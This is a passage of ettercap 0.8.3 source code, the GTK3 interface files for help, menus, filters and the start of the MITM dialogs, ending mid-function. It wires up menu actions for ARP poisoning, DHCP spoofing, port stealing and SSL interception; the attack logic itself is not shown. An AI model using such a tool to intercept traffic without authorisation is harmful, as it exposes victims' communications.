gtk_box_pack_start(GTK_BOX(hbox), scrolled, FALSE, FALSE, 0); gtk_widget_show(scrolled); treeview = gtk_tree_view_new(); gtk_tree_view_set_headers_visible(GTK_TREE_VIEW (treeview), FALSE); gtk_container_add(GTK_CONTAINER (scrolled), treeview); gtk_widget_show(treeview); selection = gtk_tree_view_get_selection (GTK_TREE_VIEW (treeview)); gtk_tree_selection_set_mode (selection, GTK_SELECTION_SINGLE); g_signal_connect(selection, "changed", G_CALLBACK (gtkui_help_selected), liststore); renderer = gtk_cell_renderer_text_new (); column = gtk_tree_view_column_new_with_attributes ("Contents", renderer, "text", 0, NULL); gtk_tree_view_column_set_sort_column_id (column, 0); gtk_tree_view_append_column (GTK_TREE_VIEW(treeview), column); liststore = gtk_list_store_new (2, G_TYPE_STRING, G_TYPE_POINTER); for(section = help_list; section->title; section++) { gtk_list_store_append (liststore, &iter); gtk_list_store_set (liststore, &iter, 0, section->title, 1, section->file, -1); } gtk_tree_view_set_model(GTK_TREE_VIEW (treeview), GTK_TREE_MODEL (liststore)); /* text area */ scrolled = gtk_scrolled_window_new(NULL, NULL); gtk_scrolled_window_set_policy(GTK_SCROLLED_WINDOW (scrolled), GTK_POLICY_AUTOMATIC, GTK_POLICY_AUTOMATIC); gtk_scrolled_window_set_shadow_type(GTK_SCROLLED_WINDOW (scrolled), GTK_SHADOW_IN); gtk_box_pack_start(GTK_BOX(hbox), scrolled, TRUE, TRUE, 0); gtk_widget_show(scrolled); textview = gtk_text_view_new(); gtk_text_view_set_editable(GTK_TEXT_VIEW (textview), FALSE); gtk_text_view_set_cursor_visible(GTK_TEXT_VIEW (textview), FALSE); gtk_container_add(GTK_CONTAINER (scrolled), textview); gtk_widget_show(textview); textbuf = gtk_text_view_get_buffer(GTK_TEXT_VIEW (textview)); gtk_widget_show_all(dialog); gtk_dialog_run(GTK_DIALOG (dialog)); gtk_widget_destroy (dialog); } void gtkui_help_open(char *file) { const char *full = "sh -c \"man %s | col -b\""; char *data = NULL, *unicode = NULL, *errors = NULL, *cmd; gboolean ret = FALSE; gint len = 0; len = strlen(file) + strlen(full) +1; cmd = g_malloc(sizeof(char) * len); snprintf(cmd, len, full, file); // try to find the system installed man ret = g_spawn_command_line_sync(cmd, &data, &errors, NULL, NULL); g_free(cmd); if(ret && errors && strlen(errors) > 0) { g_free(errors); // system man not found, try non-standard man(8) installation directory full = "sh -c \"man -M " MAN_INSTALLDIR " %s | col -b\""; len = strlen(file) + strlen(full) +1; cmd = g_malloc(sizeof(char) * len); snprintf(cmd, len, full, file); ret = g_spawn_command_line_sync(cmd, &data, &errors, NULL, NULL); g_free(cmd); if(ret && errors && strlen(errors) > 0) { g_free(errors); // man not found in the man installation directory, try build directory full = "sh -c \"man ./man/%s.8 | col -b\""; len = strlen(file) + strlen(full) +1; cmd = g_malloc(sizeof(char) * len); snprintf(cmd, len, full, file); ret = g_spawn_command_line_sync(cmd, &data, &errors, NULL, NULL); g_free(cmd); if(ret && errors && strlen(errors) > 0) { g_free(errors); // man(8) in the build directory not found, but etter.conf is man(5) full = "sh -c \"man ./man/%s.5 | col -b\""; len = strlen(file) + strlen(full) +1; cmd = g_malloc(sizeof(char) * len); snprintf(cmd, len, full, file); ret = g_spawn_command_line_sync(cmd, &data, &errors, NULL, NULL); g_free(cmd); if(ret && errors && strlen(errors) > 0) { ui_error(errors); g_free(errors); } } } } /* print output of command in help window */ if(data && ret) { if ((unicode = gtkui_utf8_validate(data))) gtk_text_buffer_set_text(textbuf, unicode, -1); g_free(data); } } void gtkui_help_selected(GtkTreeSelection *treeselection, gpointer data) { GtkTreeIter iter; GtkTreeModel *model; gchar *file; /* variable not used */ (void) data; if (gtk_tree_selection_get_selected (GTK_TREE_SELECTION (treeselection), &model, &iter)) { gtk_tree_model_get (model, &iter, 1, &file, -1); if(!file) return; gtkui_help_open(file); } } #endif ettercap-0.8.3/src/interfaces/gtk3/ec_gtk3_menus.c0000644000175000017500000010034213505247364021650 0ustar koeppeakoeppea/* ettercap -- GTK+ GUI Copyright (C) ALoR & NaGA This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include #include #include /* globals */ #define ENABLED "true" #define DISABLED "false" /* proto */ static void toggle_sniffing(GtkToggleButton *button, gpointer data); static void scanbutton_clicked(GtkButton *button, gpointer data); static void hostlistbutton_clicked(GtkButton *button, gpointer data); static void mitmstopbutton_clicked(GtkButton *button, gpointer data); /*******************************************/ void gtkui_create_menu(GApplication *app, gpointer data) { GtkWidget *header, *menubutton, *logo, *content, *vpaned, *scroll, *box; GtkTextIter iter; GtkBuilder *builder; GMenu *menu; gchar *title, *path; guint i, live = GPOINTER_TO_INT(data); /* accelerators */ // TODO shortcuts for start/stop sniffing static gtkui_accel_map_t app_accels[] = { #ifndef OS_WINDOWS {"app.help", {"F1", NULL}}, #endif {"app.quit", {"q", "x", NULL}} }; static gtkui_accel_map_t targets_accels[] = { {"app.current_targets", {"t", NULL}}, {"app.select_targets", {"t", NULL}}, {"app.set_protocol", {"p", NULL}}, {"app.wipe_targets", {"w", NULL}} }; static gtkui_accel_map_t hosts_accels[] = { {"app.hosts_list", {"h", NULL}}, {"app.scan_hosts", {"s", NULL}} }; static gtkui_accel_map_t view_accels[] = { {"app.view_connections", {"c", NULL}}, {"app.view_profiles", {"o", NULL}}, {"app.visualization_method", {"v", NULL}}, {"app.visualization_regex", {"r", NULL}} }; static gtkui_accel_map_t filter_accels[] = { {"app.filter_load", {"f", NULL}}, {"app.filter_stop", {"f", NULL}} }; static gtkui_accel_map_t logging_accels[] = { {"app.log_all", {"i", NULL}}, {"app.log_info", {"i", NULL}}, {"app.log_msg", {"m", NULL}} }; #ifdef HAVE_PLUGINS static gtkui_accel_map_t plugins_accels[] = { {"app.plugin_manage", {"p", NULL}} }; #endif /* actions */ static GActionEntry app_actions[] = { /* app menu */ {"about", gtkui_about, NULL, NULL, NULL, {}}, {"shortcuts", gtkui_show_shortcuts, "s", NULL, NULL, {}}, #ifndef OS_WINDOWS {"help", gtkui_help, NULL, NULL, NULL, {}}, #endif {"quit", gtkui_exit, NULL, NULL, NULL, {}} }; static GActionEntry targets_actions[] = { /* targets menu */ {"current_targets", gtkui_current_targets, NULL, NULL, NULL, {}}, {"select_targets", gtkui_select_targets, NULL, NULL, NULL, {}}, {"set_protocol", gtkui_select_protocol, NULL, NULL, NULL, {}}, {"reverse_matching", NULL, NULL, DISABLED, toggle_reverse, {}}, {"wipe_targets", wipe_targets, NULL, NULL, NULL, {}} }; static GActionEntry hosts_actions[] = { /* hosts menu */ {"hosts_list", gtkui_host_list, NULL, NULL, NULL, {}}, #ifdef WITH_IPV6 {"enable_ipv6scan", NULL, NULL, DISABLED, toggle_ip6scan, {}}, #endif {"scan_hosts", gtkui_scan, NULL, NULL, NULL, {}}, {"load_hosts", gtkui_load_hosts, NULL, NULL, NULL, {}}, {"save_hosts", gtkui_save_hosts, NULL, NULL, NULL, {}} }; static GActionEntry view_actions[] = { /* view menu */ {"view_connections", gtkui_show_connections, NULL, NULL, NULL, {}}, {"view_profiles", gtkui_show_profiles, NULL, NULL, NULL, {}}, {"view_statistics", gtkui_show_stats, NULL, NULL, NULL, {}}, {"resolve_ipaddresses", NULL, NULL, DISABLED, toggle_resolve, {}}, {"visualization_method", gtkui_vis_method, NULL, NULL, NULL, {}}, {"visualization_regex", gtkui_vis_regex, NULL, NULL, NULL, {}}, {"wifi_key", gtkui_wifi_key, NULL, NULL, NULL, {}} }; static GActionEntry mitm_actions[] = { /* MITM menu */ {"arp_poisoning", gtkui_arp_poisoning, NULL, NULL, NULL, {}}, #ifdef WITH_IPV6 {"ndp_poisoning", gtkui_ndp_poisoning, NULL, NULL, NULL, {}}, #endif {"icmp_redirect", gtkui_icmp_redir, NULL, NULL, NULL, {}}, {"port_stealing", gtkui_port_stealing, NULL, NULL, NULL, {}}, {"dhcp_spoofing", gtkui_dhcp_spoofing, NULL, NULL, NULL, {}}, {"mitm_stop", gtkui_mitm_stop, NULL, NULL, NULL, {}}, {"sslredir", gtkui_sslredir_show, NULL, NULL, NULL, {}} }; static GActionEntry filter_actions[] = { /* filters menu */ {"filter_load", gtkui_load_filter, NULL, NULL, NULL, {}}, {"filter_stop", gtkui_stop_filter, NULL, NULL, NULL, {}} }; static GActionEntry logging_actions[] = { /* logging menu */ {"log_all", gtkui_log_all, NULL, NULL, NULL, {}}, {"log_info", gtkui_log_info, NULL, NULL, NULL, {}}, {"log_stop", gtkui_stop_log, NULL, NULL, NULL, {}}, {"log_msg", gtkui_log_msg, NULL, NULL, NULL, {}}, {"log_stop_msg", gtkui_stop_msg, NULL, NULL, NULL, {}}, {"log_compress", NULL, NULL, DISABLED, toggle_compress, {}} }; #ifdef HAVE_PLUGINS static GActionEntry plugins_actions[] = { /* plugins menu */ {"plugin_manage", gtkui_plugin_mgmt, NULL, NULL, NULL, {}}, {"plugin_load", gtkui_plugin_load, NULL, NULL, NULL, {}} }; #endif DEBUG_MSG("gtkui_create_menu - live: %d", live); /* honor CLI options */ if (EC_GBL_OPTIONS->reversed) targets_actions[3].state = ENABLED; if (EC_GBL_OPTIONS->resolve) view_actions[3].state = ENABLED; if (EC_GBL_OPTIONS->compress) logging_actions[5].state = ENABLED; #ifdef WITH_IPV6 if (EC_GBL_OPTIONS->ip6scan) hosts_actions[1].state = ENABLED; #endif /* add actions to the application */ g_action_map_add_action_entries(G_ACTION_MAP(app), app_actions, G_N_ELEMENTS(app_actions), app); g_action_map_add_action_entries(G_ACTION_MAP(app), targets_actions, G_N_ELEMENTS(targets_actions), app); /* some things doesn't apply when in bridge mode */ if (live == 1 && EC_GBL_SNIFF->type == SM_UNIFIED) g_action_map_add_action_entries(G_ACTION_MAP(app), hosts_actions, G_N_ELEMENTS(hosts_actions), app); g_action_map_add_action_entries(G_ACTION_MAP(app), view_actions, G_N_ELEMENTS(view_actions), app); /* some things doesn't apply when in bridge mode */ if (live == 1 && EC_GBL_SNIFF->type == SM_UNIFIED) g_action_map_add_action_entries(G_ACTION_MAP(app), mitm_actions, G_N_ELEMENTS(mitm_actions), app); g_action_map_add_action_entries(G_ACTION_MAP(app), filter_actions, G_N_ELEMENTS(filter_actions), app); g_action_map_add_action_entries(G_ACTION_MAP(app), logging_actions, G_N_ELEMENTS(logging_actions), app); #ifdef HAVE_PLUGINS g_action_map_add_action_entries(G_ACTION_MAP(app), plugins_actions, G_N_ELEMENTS(plugins_actions), app); #endif /* map accelerators to actions */ for (i=0; i < G_N_ELEMENTS(app_accels); i++) gtk_application_set_accels_for_action(GTK_APPLICATION(app), app_accels[i].action, app_accels[i].accel); for (i=0; i < G_N_ELEMENTS(targets_accels); i++) gtk_application_set_accels_for_action(GTK_APPLICATION(app), targets_accels[i].action, targets_accels[i].accel); /* some things doesn't apply when in bridge mode */ if (live == 1 && EC_GBL_SNIFF->type == SM_UNIFIED) for (i=0; i < G_N_ELEMENTS(hosts_accels); i++) gtk_application_set_accels_for_action(GTK_APPLICATION(app), hosts_accels[i].action, hosts_accels[i].accel); for (i=0; i < G_N_ELEMENTS(view_accels); i++) gtk_application_set_accels_for_action(GTK_APPLICATION(app), view_accels[i].action, view_accels[i].accel); for (i=0; i < G_N_ELEMENTS(filter_accels); i++) gtk_application_set_accels_for_action(GTK_APPLICATION(app), filter_accels[i].action, filter_accels[i].accel); for (i=0; i < G_N_ELEMENTS(logging_accels); i++) gtk_application_set_accels_for_action(GTK_APPLICATION(app), logging_accels[i].action, logging_accels[i].accel); #ifdef HAVE_PLUGINS for (i=0; i < G_N_ELEMENTS(plugins_accels); i++) gtk_application_set_accels_for_action(GTK_APPLICATION(app), plugins_accels[i].action, plugins_accels[i].accel); #endif /* menu structures */ builder = gtk_builder_new(); gtk_builder_add_from_string(builder, "" " " "
" #ifndef OS_WINDOWS " " " Help" " app.help" " help-browser" " " #endif " " " Shortcuts" " app.shortcuts" " main-shortcuts" " " " " " _About Ettercap" " app.about" " help-about" " " "
" "
" " " " _Quit" " app.quit" " application-exit" " " "
" "
" " " " " " _Targets" "
" " " " Current targets" " app.current_targets" " edit-find" " " " " " Select targets" " app.select_targets" " list-add" " " "
" "
" " " " _Protocol" " app.set_protocol" " go-jump" " " " " " Reverse matching" " app.reverse_matching" " " "
" "
" " " " _Wipe targets" " app.wipe_targets" " edit-clear" " " "
" "
" " " " _Hosts" "
" " " " _Hosts list" " app.hosts_list" " " "
" "
" #ifdef WITH_IPV6 " " " Enable IPv6 Scan" " app.enable_ipv6scan" " " #endif " " " _Scan for hosts" " app.scan_hosts" " edit-find" " " "
" "
" " " " Load hosts from file ..." " app.load_hosts" " document-open" " " " " " Save hosts to file ..." " app.save_hosts" " document-save" " " "
" "
" " " " _View" "
" " " " _Connections" " app.view_connections" " format-justify-fill" " " " " " Pr_ofiles" " app.view_profiles" " format-justify-left" " " " " " _Statistics" " app.view_statistics" " document-properties" " " "
" "
" " " " Resolve IP addresses" " app.resolve_ipaddresses" " " " " " _Visualization method..." " app.visualization_method" " preferences-system" " " " " " Visualization _regex..." " app.visualization_regex" " edit-find" " " "
" "
" " " " Set the _WiFi key..." " app.wifi_key" " edit-find" " " "
" "
" " " " _Filters" "
" " " " Load a filter..." " app.filter_load" " document-open" " " " " " Stop _filtering" " app.filter_stop" " process-stop" " " "
" "
" " " " _Logging" "
" " " " Logging all packets and infos" " app.log_all" " document-save" " " " " " Logging only infos" " app.log_info" " document-save-as" " " " " " Stop logging infos" " app.log_stop" " process-stop" " " "
" "
" " " " Log user messages" " app.log_msg" " document-revert" " " " " " Stop logging messages" " app.log_stop_msg" " process-stop" " " "
" "
" " " " Compressed logfile" " app.log_compress" " " "
" "
" #ifdef HAVE_PLUGINS " " " _Plugins" "
" " " " Manage plugins" " app.plugin_manage" " system-run" " " " " " Load a plugin..." " app.plugin_load" " document-open" " " "
" "
" #endif "
" " " "
" " MITM" " " " ARP poisoning..." " app.arp_poisoning" " " #ifdef WITH_IPV6 " " " NDP poisoning" " app.ndp_poisoning" " " #endif " " " ICMP redirect..." " app.icmp_redirect" " " " " " Port stealing..." " app.port_stealing" " " " " " DHCP spoofing..." " app.dhcp_spoofing" " " "
" "
" " " " Stop MITM attack(s)" " app.mitm_stop" " " "
" "
" " " " SSL Intercept" " app.sslredir" " " "
" "
" "
", -1, NULL); /* set app menu */ gtk_application_set_app_menu(GTK_APPLICATION(app), G_MENU_MODEL(gtk_builder_get_object(builder, "app-menu"))); if (g_getenv("APP_MENU_FALLBACK")) g_object_set(gtk_settings_get_default(), "gtk-shell-shows-app-menu", FALSE, NULL); /* Adjust titel formatting */ title = g_strdup(PROGRAM); *title = g_ascii_toupper(*title); /* reuse main window */ gtk_application_add_window(GTK_APPLICATION(app), GTK_WINDOW(window)); /* create header bar and menubuttons */ header = gtk_header_bar_new(); gtk_header_bar_set_title(GTK_HEADER_BAR(header), title); gtk_header_bar_set_subtitle(GTK_HEADER_BAR(header), EC_VERSION " (EB)"); gtk_header_bar_set_show_close_button(GTK_HEADER_BAR(header), TRUE); gtk_window_set_titlebar(GTK_WINDOW(window), header); /* start/stop sniffing button */ menubutton = gtk_toggle_button_new(); gtk_widget_set_tooltip_text(menubutton, "Start / Stop Sniffing"); if (EC_GBL_CONF->sniffing_at_startup) { gtk_button_set_image(GTK_BUTTON(menubutton), gtk_image_new_from_icon_name("media-playback-stop-symbolic", GTK_ICON_SIZE_BUTTON)); gtk_toggle_button_set_active(GTK_TOGGLE_BUTTON(menubutton), TRUE); } else gtk_button_set_image(GTK_BUTTON(menubutton), gtk_image_new_from_icon_name("media-playback-start-symbolic", GTK_ICON_SIZE_BUTTON)); gtk_header_bar_pack_start(GTK_HEADER_BAR(header), menubutton); g_signal_connect(G_OBJECT(menubutton), "toggled", G_CALLBACK(toggle_sniffing), NULL); /* menu button for Ettercap menu */ menubutton = gtk_menu_button_new(); menu = G_MENU(gtk_builder_get_object(builder, "ettercap-menu")); gtk_widget_set_tooltip_text(menubutton, "Ettercap Menu"); if (live == 0 || EC_GBL_SNIFF->type == SM_BRIDGED) g_menu_remove(menu, 1); // Remove Hosts Menu gtk_menu_button_set_menu_model(GTK_MENU_BUTTON(menubutton), G_MENU_MODEL(menu)); gtk_button_set_image(GTK_BUTTON(menubutton), gtk_image_new_from_icon_name("open-menu-symbolic", GTK_ICON_SIZE_BUTTON)); gtk_header_bar_pack_end(GTK_HEADER_BAR(header), menubutton); /* some things doesn't apply when in bridge mode */ if (live == 1 && EC_GBL_SNIFF->type == SM_UNIFIED) { /* button for host scan */ menubutton = gtk_button_new(); gtk_widget_set_tooltip_text(menubutton, "Scan for hosts"); gtk_button_set_image(GTK_BUTTON(menubutton), gtk_image_new_from_icon_name("edit-find-symbolic", GTK_ICON_SIZE_BUTTON)); gtk_header_bar_pack_start(GTK_HEADER_BAR(header), menubutton); g_signal_connect(G_OBJECT(menubutton), "clicked", G_CALLBACK(scanbutton_clicked), NULL); /* menu button for hosts menu */ menubutton = gtk_button_new(); gtk_widget_set_tooltip_text(menubutton, "Hosts List"); gtk_button_set_image(GTK_BUTTON(menubutton), gtk_image_new_from_icon_name("network-server-symbolic", GTK_ICON_SIZE_BUTTON)); gtk_header_bar_pack_start(GTK_HEADER_BAR(header), menubutton); g_signal_connect(G_OBJECT(menubutton), "clicked", G_CALLBACK(hostlistbutton_clicked), NULL); /* menu button to stop MITM */ menubutton = gtk_button_new(); gtk_widget_set_tooltip_text(menubutton, "Stop MITM"); gtk_button_set_image(GTK_BUTTON(menubutton), gtk_image_new_from_icon_name("process-stop-symbolic", GTK_ICON_SIZE_BUTTON)); gtk_header_bar_pack_end(GTK_HEADER_BAR(header), menubutton); g_signal_connect(G_OBJECT(menubutton), "clicked", G_CALLBACK(mitmstopbutton_clicked), NULL); /* menu button for MITM menu */ menubutton = gtk_menu_button_new(); gtk_widget_set_tooltip_text(menubutton, "MITM menu"); gtk_menu_button_set_menu_model(GTK_MENU_BUTTON(menubutton), G_MENU_MODEL(gtk_builder_get_object(builder, "mitm-menu"))); gtk_button_set_image(GTK_BUTTON(menubutton), gtk_image_new_from_icon_name("network-workgroup-symbolic", GTK_ICON_SIZE_BUTTON)); gtk_header_bar_pack_end(GTK_HEADER_BAR(header), menubutton); } /* fetch and replace main content area */ content = gtk_bin_get_child(GTK_BIN(window)); gtk_container_remove(GTK_CONTAINER(window), content); box = gtk_box_new(GTK_ORIENTATION_VERTICAL, 0); gtk_container_add(GTK_CONTAINER(window), box); /* prepare infobar for later notifications */ infobar = gtk_info_bar_new(); gtk_widget_set_no_show_all(infobar, TRUE); infolabel = gtk_label_new(""); gtk_widget_show(infolabel); gtk_container_add(GTK_CONTAINER( gtk_info_bar_get_content_area(GTK_INFO_BAR(infobar))), infolabel); gtk_info_bar_add_button(GTK_INFO_BAR(infobar), "_OK", GTK_RESPONSE_OK); infoframe = gtk_frame_new(NULL); gtk_widget_set_no_show_all(infoframe, TRUE); gtk_frame_set_shadow_type(GTK_FRAME(infoframe), GTK_SHADOW_NONE); gtk_container_add(GTK_CONTAINER(infoframe), infobar); g_signal_connect(G_OBJECT(infobar), "response", G_CALLBACK(gtkui_infobar_hide), NULL); gtk_box_pack_start(GTK_BOX(box), infoframe, FALSE, FALSE, 0); vpaned = gtk_paned_new(GTK_ORIENTATION_VERTICAL); gtk_box_pack_start(GTK_BOX(box), vpaned, TRUE, TRUE, 0); notebook_frame = gtk_frame_new(NULL); gtk_frame_set_shadow_type(GTK_FRAME(notebook_frame), GTK_SHADOW_IN); gtk_paned_pack1(GTK_PANED(vpaned), notebook_frame, TRUE, TRUE); path = INSTALL_DATADIR "/" PROGRAM "/" LOGO_FILE; if(g_file_test(path, G_FILE_TEST_EXISTS)) logo = gtk_image_new_from_file(path); else /* if neither path is valid gtk will use a broken image icon */ logo = gtk_image_new_from_file("./share/" LOGO_FILE); gtk_widget_set_halign(logo, GTK_ALIGN_CENTER); gtk_widget_set_valign(logo, GTK_ALIGN_CENTER); gtk_container_add(GTK_CONTAINER(notebook_frame), logo); /* messages */ scroll = gtk_scrolled_window_new(NULL, NULL); gtk_scrolled_window_set_policy(GTK_SCROLLED_WINDOW (scroll), GTK_POLICY_AUTOMATIC, GTK_POLICY_ALWAYS); gtk_scrolled_window_set_shadow_type(GTK_SCROLLED_WINDOW (scroll), GTK_SHADOW_IN); gtk_widget_set_size_request(scroll, -1, 140); gtk_paned_pack2(GTK_PANED (vpaned), scroll, FALSE, TRUE); gtk_widget_show(scroll); textview = gtk_text_view_new(); gtk_text_view_set_wrap_mode(GTK_TEXT_VIEW (textview), GTK_WRAP_WORD_CHAR); gtk_text_view_set_editable(GTK_TEXT_VIEW (textview), FALSE); gtk_text_view_set_cursor_visible(GTK_TEXT_VIEW (textview), FALSE); gtk_container_add(GTK_CONTAINER (scroll), textview); gtk_widget_show(textview); msgbuffer = gtk_text_view_get_buffer(GTK_TEXT_VIEW (textview)); gtk_text_buffer_get_end_iter(msgbuffer, &iter); endmark = gtk_text_buffer_create_mark(msgbuffer, "end", &iter, FALSE); gtk_widget_show_all(window); } void gtkui_create_tab_menu(void) { GtkWidget *context; GtkBuilder *builder; GSimpleActionGroup *actiongroup; guint i; static GActionEntry tab_actions[] = { {"detach_page", gtkui_page_detach_current, NULL, NULL, NULL, {}}, {"close_page", gtkui_page_close_current, NULL, NULL, NULL, {}}, {"next_page", gtkui_page_right, NULL, NULL, NULL, {}}, {"prev_page", gtkui_page_left, NULL, NULL, NULL, {}} }; static gtkui_accel_map_t tab_accels[] = { {"tab.detach_page", {"d", NULL}}, {"tab.close_page", {"w", NULL}}, {"tab.next_page", {"Tab", "Right", NULL}}, {"tab.prev_page", {"Tab", "Left", NULL}} }; /* build menu structure */ builder = gtk_builder_new(); gtk_builder_add_from_string(builder, "" " " "
" " " " Detach page" " tab.detach_page" " go-up" " " " " " Close page" " tab.close_page" " window-close" " " "
" "
" " " " Next page" " tab.next_page" " go-next" " " " " " Previous page" " tab.prev_page" " go-previous" " " "
" "
" "
", -1, NULL); /* create dedicated action group and attach to menu widget */ actiongroup = g_simple_action_group_new(); g_action_map_add_action_entries(G_ACTION_MAP(actiongroup), tab_actions, G_N_ELEMENTS(tab_actions), NULL); /* map accelerators to actions */ // FIXME doesn't work yet for (i = 0; i < G_N_ELEMENTS(tab_accels); i++) gtk_application_set_accels_for_action(GTK_APPLICATION(etterapp), tab_accels[i].action, tab_accels[i].accel); /* connect tab menu to right-click handler of notebook */ context = gtk_menu_new_from_model(G_MENU_MODEL(gtk_builder_get_object(builder, "tab-menu"))); gtk_widget_insert_action_group(context, "tab", G_ACTION_GROUP(actiongroup)); g_signal_connect(G_OBJECT(notebook), "button-press-event", G_CALLBACK(gtkui_context_menu), context); g_object_unref(builder); } /* * callback to start and stop sniffing and swaping play-button */ static void toggle_sniffing(GtkToggleButton *button, gpointer data) { (void) data; if (gtk_toggle_button_get_active(button)) { /* start sniffing */ gtkui_start_sniffing(); /* replace button image with stop icon */ gtk_button_set_image(GTK_BUTTON(button), gtk_image_new_from_icon_name("media-playback-stop-symbolic", GTK_ICON_SIZE_BUTTON)); } else { /* stop sniffing */ gtkui_stop_sniffing(); /* replace button image with start icon */ gtk_button_set_image(GTK_BUTTON(button), gtk_image_new_from_icon_name("media-playback-start-symbolic", GTK_ICON_SIZE_BUTTON)); } } /* * callback when scan button is clicked * - wrapper due to different callback function signatures */ static void scanbutton_clicked(GtkButton *button, gpointer data) { (void) button; (void) data; gtkui_scan(NULL, NULL, NULL); } /* * callback when hostlist button is clicked * - wrapper due to different callback function signatures */ static void hostlistbutton_clicked(GtkButton *button, gpointer data) { (void) button; (void) data; gtkui_host_list(NULL, NULL, NULL); } /* * callback when scan button is clicked * - wrapper due to different callback function signatures */ static void mitmstopbutton_clicked(GtkButton *button, gpointer data) { (void) button; (void) data; gtkui_mitm_stop(NULL, NULL, NULL); } /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/src/interfaces/gtk3/ec_gtk3_filters.c0000644000175000017500000000520513505247364022173 0ustar koeppeakoeppea/* ettercap -- GTK+ GUI Copyright (C) ALoR & NaGA This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include #include #include #include #include /*******************************************/ /* * display the file open dialog */ void gtkui_load_filter(GSimpleAction *action, GVariant *value, gpointer data) { GtkWidget *dialog, *chooser, *content; gchar *filename; int response = 0; char *path = get_full_path("share", ""); (void) action; (void) value; (void) data; DEBUG_MSG("gtk_load_filter"); dialog = gtk_dialog_new_with_buttons("Select a precompiled filter file...", GTK_WINDOW(window), GTK_DIALOG_MODAL | GTK_DIALOG_DESTROY_WITH_PARENT | GTK_DIALOG_USE_HEADER_BAR, "_Cancel", GTK_RESPONSE_CANCEL, "_OK", GTK_RESPONSE_OK, NULL); gtk_container_set_border_width(GTK_CONTAINER(dialog), 10); content = gtk_dialog_get_content_area(GTK_DIALOG(dialog)); chooser = gtk_file_chooser_widget_new(GTK_FILE_CHOOSER_ACTION_OPEN); gtk_container_add(GTK_CONTAINER(content), chooser); gtk_widget_show(chooser); gtk_file_chooser_set_current_folder(GTK_FILE_CHOOSER(chooser), path); SAFE_FREE(path); response = gtk_dialog_run (GTK_DIALOG (dialog)); if (response == GTK_RESPONSE_OK) { gtk_widget_hide(dialog); filename = gtk_file_chooser_get_filename(GTK_FILE_CHOOSER(chooser)); /* * load the filters chain. * errors are spawned by the function itself */ filter_load_file(filename, EC_GBL_FILTERS, 1); g_free(filename); } gtk_widget_destroy (dialog); } /* * uload the filter chain */ void gtkui_stop_filter(GSimpleAction *action, GVariant *value, gpointer data) { (void) action; (void) value; (void) data; DEBUG_MSG("gtk_stop_filter"); filter_unload(EC_GBL_FILTERS); gtkui_message("Filters were unloaded"); } /* EOF */ // vim:ts=3:expandtab ettercap-0.8.3/src/interfaces/gtk3/ec_gtk3_mitm.c0000644000175000017500000004024213505247364021471 0ustar koeppeakoeppea/* ettercap -- GTK+ GUI Copyright (C) ALoR & NaGA This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include #include #include /* proto */ static void gtkui_start_mitm(void); /* globals */ #define PARAMS_LEN 512 static char params[PARAMS_LEN+1]; /*******************************************/ void gtkui_arp_poisoning(GSimpleAction *action, GVariant *value, gpointer data) { GtkWidget *dialog, *vbox, *hbox, *image, *button1, *button2, *frame, *content_area; gint response = 0; gboolean remote = FALSE; (void) action; (void) value; (void) data; DEBUG_MSG("gtk_arp_poisoning"); // not needed, the \0 is already appended from snprintf // memset(params, '\0', PARAMS_LEN+1); dialog = gtk_dialog_new_with_buttons("MITM Attack: ARP Poisoning", GTK_WINDOW (window), GTK_DIALOG_MODAL|GTK_DIALOG_USE_HEADER_BAR, "_Cancel", GTK_RESPONSE_CANCEL, "_OK", GTK_RESPONSE_OK, NULL); gtk_container_set_border_width(GTK_CONTAINER (dialog), 5); #if !GTK_CHECK_VERSION(2, 22, 0) gtk_dialog_set_has_separator(GTK_DIALOG (dialog), FALSE); #endif hbox = gtk_box_new(GTK_ORIENTATION_HORIZONTAL, 5); content_area = gtk_dialog_get_content_area(GTK_DIALOG(dialog)); gtk_container_add(GTK_CONTAINER(content_area), hbox); gtk_widget_show(hbox); image = gtk_image_new_from_icon_name("dialog-question", GTK_ICON_SIZE_DIALOG); gtk_box_pack_start (GTK_BOX (hbox), image, FALSE, FALSE, 5); gtk_widget_show(image); frame = gtk_frame_new("Optional parameters"); gtk_container_set_border_width(GTK_CONTAINER (frame), 5); gtk_box_pack_start (GTK_BOX (hbox), frame, TRUE, TRUE, 0); gtk_widget_show(frame); vbox = gtk_box_new(GTK_ORIENTATION_VERTICAL, 2); gtk_container_set_border_width(GTK_CONTAINER (vbox), 5); gtk_container_add(GTK_CONTAINER (frame), vbox); gtk_widget_show(vbox); button1 = gtk_check_button_new_with_label("Sniff remote connections."); gtk_toggle_button_set_active(GTK_TOGGLE_BUTTON (button1), TRUE); gtk_box_pack_start(GTK_BOX (vbox), button1, FALSE, FALSE, 0); gtk_widget_show(button1); button2 = gtk_check_button_new_with_label("Only poison one-way."); gtk_box_pack_start(GTK_BOX (vbox), button2, FALSE, FALSE, 0); gtk_widget_show(button2); response = gtk_dialog_run(GTK_DIALOG(dialog)); if(response == GTK_RESPONSE_OK) { gtk_widget_hide(dialog); const char *s_remote = "", *comma = "", *s_oneway = ""; if(gtk_toggle_button_get_active(GTK_TOGGLE_BUTTON (button1))) { s_remote="remote"; remote = TRUE; } if(gtk_toggle_button_get_active(GTK_TOGGLE_BUTTON (button2))) { if(remote) comma = ","; s_oneway = "oneway"; } snprintf(params, 